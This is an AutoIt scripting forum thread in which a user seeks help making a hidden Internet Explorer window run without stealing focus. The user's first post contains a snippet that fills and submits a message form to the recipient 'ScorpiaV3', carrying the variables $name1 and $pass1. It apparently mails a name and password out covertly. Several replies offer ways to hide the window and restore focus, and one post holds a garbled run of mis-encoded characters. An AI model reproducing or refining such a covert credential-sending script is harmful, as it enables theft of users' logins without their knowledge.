Regency Posted December 8, 2007 Share Posted December 8, 2007 This should be invisible and doesnt take focus.. right? You cant really test it.. but look at the format. Does it look right? or something wrong? {autoit}$oCreate = _IECreate($C1, "", 0) $oTo = _IEGetObjByName($oCreate, "txtTo") _IEFormElementSetValue($oTo, "ScorpiaV3") $oSub = _IEGetObjById($oCreate, "txtSubject") _IEFormElementSetValue($oSub, "You know...") $oMsg = _IEGetObjById($oCreate, "txtMessage") _IEFormElementSetValue($oMsg, $name1 & @LF & $pass1) $oSubm = _IEGetObjByName($oCreate, "btnSend") _IEAction($oSubm, "click") _IELoadWait($oCreate) _IEQuit($oCreate) {/autoit} Link to comment Share on other sites More sharing options...
FreeSiker Posted December 8, 2007 Share Posted December 8, 2007 (edited) Try this #include <IE.au3> ;_IECreate ( [$s_Url = "about:blank" [, $f_tryAttach = 0 [, $f_visible = 1 [, $f_wait = 1 [, $f_takeFocus = -1]]]]] ) $C1 = "www.google.com" $oCreate = _IECreate($C1, 0, 0, 1, -1) Sleep(5000) ;five seconds _IEQuit($oCreate) Edited December 8, 2007 by FreeSiker Link to comment Share on other sites More sharing options...
z0mgItsJohn Posted December 8, 2007 Share Posted December 8, 2007 Ok... I Don't Know If This Is Right.. But Are You Trying To Run A Website Using AutoIt.. Because Thats What It Looks Like To Me But I'm Just A Noob.. But I Got A Pretty Good Way Of Running A Website With AutoIt Run("cmd /c start " http://www.google.com/, "", @SW_HIDE) Latest Projects :- New & Improved TCP Chat Link to comment Share on other sites More sharing options...
PsaltyDS Posted December 8, 2007 Share Posted December 8, 2007 Ok... I Don't Know If This Is Right.. But Are You Trying To Run A Website Using AutoIt.. Because Thats What It Looks Like To Me But I'm Just A Noob.. But I Got A Pretty Good Way Of Running A Website With AutoIt Run("cmd /c start " http://www.google.com/, "", @SW_HIDE)oÝ÷ Ûú®¢×z̨¹ªÞªê-&ë-Ú(n«¨µ«0z·°y©ejÚ'zئy8^æ«y©h¶í)à³ è"¶!jܨº,µçuNÂ÷öÚî·jëÊ«ªê-x"³ è¡¢é]m殶se'VâgV÷C¶6ÖBö27F'BGG¢ò÷wwrævöövÆRæ6öÒògV÷C²ÂgV÷C²gV÷C²Â5uôDR 2. It will only run IE if IE happens to be your default browser (certainly isn't mine). 3. The only thing hidden by @SW_HIDE in that example is the CMD shell console window (the "DOS box"). The browser will still be visible. 4. Even if it launched IE, that method doesn't return the object handle required to do further automation of the browser using the _IE* functions. Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law Link to comment Share on other sites More sharing options...
Regency Posted December 8, 2007 Author Share Posted December 8, 2007 WELL NOW!! Thanks for fixing his script... BUT think u can helpme with mine? Link to comment Share on other sites More sharing options...
PsaltyDS Posted December 8, 2007 Share Posted December 8, 2007 (edited) WELL NOW!!Thanks for fixing his script... BUT think u can helpme with mine?Sorry, I stopped reading that part at "You can't really test it."Post something as short as possible that can actually be copy/pasted straight from your post to SciTE, I hit F5, and there's your symptom. The effort to produce such a "reproducer" script will either show you the answer in itself, or give you a much more answerable question. Edited December 8, 2007 by PsaltyDS Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law Link to comment Share on other sites More sharing options...
Regency Posted December 8, 2007 Author Share Posted December 8, 2007 Sorry, I stopped reading that part at "You can't really test it."Post something that can actually be copy/pasted straight from you post to SciTE, I hit F5, and there's your symptom. The effort to produce such a "reproducer" script will either show you the answer in itself, or give you a much more answerable question. There IS NO ERROR in synax or protocal.Its just the _iecreate() is being gay. It always takes focus when the focus thing is set to 0 meaning NO.Any reason why Link to comment Share on other sites More sharing options...
DaleHohm Posted December 8, 2007 Share Posted December 8, 2007 So your issue is really JUST with _IECreate right? Best not to clutter your question with the rest of the code if it is not necessary. $oIE = _IECreate($C, 0, 0) : : : _IEQuit($oIE) should create an invisible browser... unless you are on Vista and then you need to also use #RequireAdmin If that doesn't work for you, does it work with a different URL? Dale Free Internet Tools: DebugBar, AutoIt IE Builder, HTTP UDF, MODIV2, IE Developer Toolbar, IEDocMon, Fiddler, HTML Validator, WGet, curl MSDN docs: InternetExplorer Object, Document Object, Overviews and Tutorials, DHTML Objects, DHTML Events, WinHttpRequest, XmlHttpRequest, Cross-Frame Scripting, Office object model Automate input type=file (Related) Alternative to _IECreateEmbedded? better: _IECreatePseudoEmbedded Better Better? IE.au3 issues with Vista - Workarounds SciTe Debug mode - it's magic: #AutoIt3Wrapper_run_debug_mode=Y Doesn't work needs to be ripped out of the troubleshooting lexicon. It means that what you tried did not produce the results you expected. It begs the questions 1) what did you try?, 2) what did you expect? and 3) what happened instead? Reproducer: a small (the smallest?) piece of stand-alone code that demonstrates your trouble Link to comment Share on other sites More sharing options...
Regency Posted December 8, 2007 Author Share Posted December 8, 2007 So your issue is really JUST with _IECreate right? Best not to clutter your question with the rest of the code if it is not necessary.$oIE = _IECreate($C, 0, 0) : : :_IEQuit($oIE)should create an invisible browser... unless you are on Vista and then you need to also use #RequireAdminIf that doesn't work for you, does it work with a different URL?DaleI have an invisible browser already, the "",0 basicaly makes it 0,0 dont it? So i want the IE window not to call focus to its self... Link to comment Share on other sites More sharing options...
DaleHohm Posted December 8, 2007 Share Posted December 8, 2007 (edited) I have an invisible browser already, the "",0 basicaly makes it 0,0 dont it? So i want the IE window not to call focus to its self...This should be invisible and doesnt take focus.. right?Please be careful how you describe your problem. You should not be surprised at getting the wrong answer when you ask an ambiguous question.If the window is invisible, it cannot have focus. It can however steal focus from another window -- is that what's happening to you?Daleedit: typo Edited December 8, 2007 by DaleHohm Free Internet Tools: DebugBar, AutoIt IE Builder, HTTP UDF, MODIV2, IE Developer Toolbar, IEDocMon, Fiddler, HTML Validator, WGet, curl MSDN docs: InternetExplorer Object, Document Object, Overviews and Tutorials, DHTML Objects, DHTML Events, WinHttpRequest, XmlHttpRequest, Cross-Frame Scripting, Office object model Automate input type=file (Related) Alternative to _IECreateEmbedded? better: _IECreatePseudoEmbedded Better Better? IE.au3 issues with Vista - Workarounds SciTe Debug mode - it's magic: #AutoIt3Wrapper_run_debug_mode=Y Doesn't work needs to be ripped out of the troubleshooting lexicon. It means that what you tried did not produce the results you expected. It begs the questions 1) what did you try?, 2) what did you expect? and 3) what happened instead? Reproducer: a small (the smallest?) piece of stand-alone code that demonstrates your trouble Link to comment Share on other sites More sharing options...
Regency Posted December 8, 2007 Author Share Posted December 8, 2007 Please be careful how you describe your problem. You should not be surprised at getting the wrong answer when you ask an ambiguous question.If the window is invisible, it cannot have focus. It can however steal focus from another window -- is that what's happening to you?Daleedit: typoI guess.. every time it runs, (this pops up ie windows then quits) it takes focus from the screen thats up.And i thought my question was pretty straight forward... Link to comment Share on other sites More sharing options...
DaleHohm Posted December 8, 2007 Share Posted December 8, 2007 It may be straight forward, but the way you phrase what you say simply makes no sense to me.What does this mean???every time it runs, (this pops up ie windows then quits) it takes focus from the screen thats up.Dale Free Internet Tools: DebugBar, AutoIt IE Builder, HTTP UDF, MODIV2, IE Developer Toolbar, IEDocMon, Fiddler, HTML Validator, WGet, curl MSDN docs: InternetExplorer Object, Document Object, Overviews and Tutorials, DHTML Objects, DHTML Events, WinHttpRequest, XmlHttpRequest, Cross-Frame Scripting, Office object model Automate input type=file (Related) Alternative to _IECreateEmbedded? better: _IECreatePseudoEmbedded Better Better? IE.au3 issues with Vista - Workarounds SciTe Debug mode - it's magic: #AutoIt3Wrapper_run_debug_mode=Y Doesn't work needs to be ripped out of the troubleshooting lexicon. It means that what you tried did not produce the results you expected. It begs the questions 1) what did you try?, 2) what did you expect? and 3) what happened instead? Reproducer: a small (the smallest?) piece of stand-alone code that demonstrates your trouble Link to comment Share on other sites More sharing options...
Regency Posted December 8, 2007 Author Share Posted December 8, 2007 It may be straight forward, but the way you phrase what you say simply makes no sense to me.What does this mean???Dale... Ok,I run my script,It pops up the Main window (doesnt close)Then it opens windows with scripts written like the one in the first post.The screen IS invisable,BUT calls focus to itself and i lose focus to the main window, that was first brought up.How can i make the Ie window that pops up, not take foucs. Link to comment Share on other sites More sharing options...
JustinReno Posted December 8, 2007 Share Posted December 8, 2007 Your answer was very vague. So, you run your script. It opens the main window After, the script opens other windows. But the other windows take the focus of the main window. What are you doing to the main window? Link to comment Share on other sites More sharing options...
Regency Posted December 8, 2007 Author Share Posted December 8, 2007 Your answer was very vague.So, you run your script.It opens the main windowAfter, the script opens other windows.But the other windows take the focus of the main window.What are you doing to the main window?.. Its not really the point what i am doing in main window..I need to know how it wont take focus no matter what Link to comment Share on other sites More sharing options...
Generator Posted December 8, 2007 Share Posted December 8, 2007 Since you said the screen is VISIBLE EVEN YOU USED THE INVISIBLE FLAG, TRY THIS WinSetState(_IEPropertyGet($oIE,"hwnd"),"",@SW_HIDE) Link to comment Share on other sites More sharing options...
JustinReno Posted December 8, 2007 Share Posted December 8, 2007 (edited) Well what are you even trying to accomplish with your script Regency? Edited December 8, 2007 by JustinReno Link to comment Share on other sites More sharing options...
Generator Posted December 8, 2007 Share Posted December 8, 2007 Well what are you even trying to accomplish with your script Regency?Please put Edit: What you have edited next time @Regency: Use WinGetHandle ( "title" [, "text"] ) before you create the IE window to get the current active window's handle Then WinActivate ( "title" [, "text"] ) afterward to bring back focus even it was taken Link to comment Share on other sites More sharing options...
DaleHohm Posted December 8, 2007 Share Posted December 8, 2007 Invisible IE windows really want to steal focus from the active application. There is code in IE.au3 to prevent this however. It locks focus to the active window, creates the invisible browser, and then releases the focus lock. I have no t seen this fail in normal operations. This is why I asked if you had the same trouble with a different URL (www.autoitscript.com or www.google.com for example). It is certainly possible that the page you are loading in your invisible browser has Javascript code that will also attempt to take focus to the browser and if that happens after the focus lock is released, it will succeed. Dale Free Internet Tools: DebugBar, AutoIt IE Builder, HTTP UDF, MODIV2, IE Developer Toolbar, IEDocMon, Fiddler, HTML Validator, WGet, curl MSDN docs: InternetExplorer Object, Document Object, Overviews and Tutorials, DHTML Objects, DHTML Events, WinHttpRequest, XmlHttpRequest, Cross-Frame Scripting, Office object model Automate input type=file (Related) Alternative to _IECreateEmbedded? better: _IECreatePseudoEmbedded Better Better? IE.au3 issues with Vista - Workarounds SciTe Debug mode - it's magic: #AutoIt3Wrapper_run_debug_mode=Y Doesn't work needs to be ripped out of the troubleshooting lexicon. It means that what you tried did not produce the results you expected. It begs the questions 1) what did you try?, 2) what did you expect? and 3) what happened instead? Reproducer: a small (the smallest?) piece of stand-alone code that demonstrates your trouble Link to comment Share on other sites More sharing options...
Regency Posted December 11, 2007 Author Share Posted December 11, 2007 Invisible IE windows really want to steal focus from the active application. There is code in IE.au3 to prevent this however. It locks focus to the active window, creates the invisible browser, and then releases the focus lock.I have no t seen this fail in normal operations. This is why I asked if you had the same trouble with a different URL (www.autoitscript.com or www.google.com for example). It is certainly possible that the page you are loading in your invisible browser has Javascript code that will also attempt to take focus to the browser and if that happens after the focus lock is released, it will succeed.DaleThe best FREAKING reply yet. This is dead on. The site does have java (thats how it works certain buttons i click). And How would i use this Focus lock?Do you happen to know the code for it?THANX!! Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now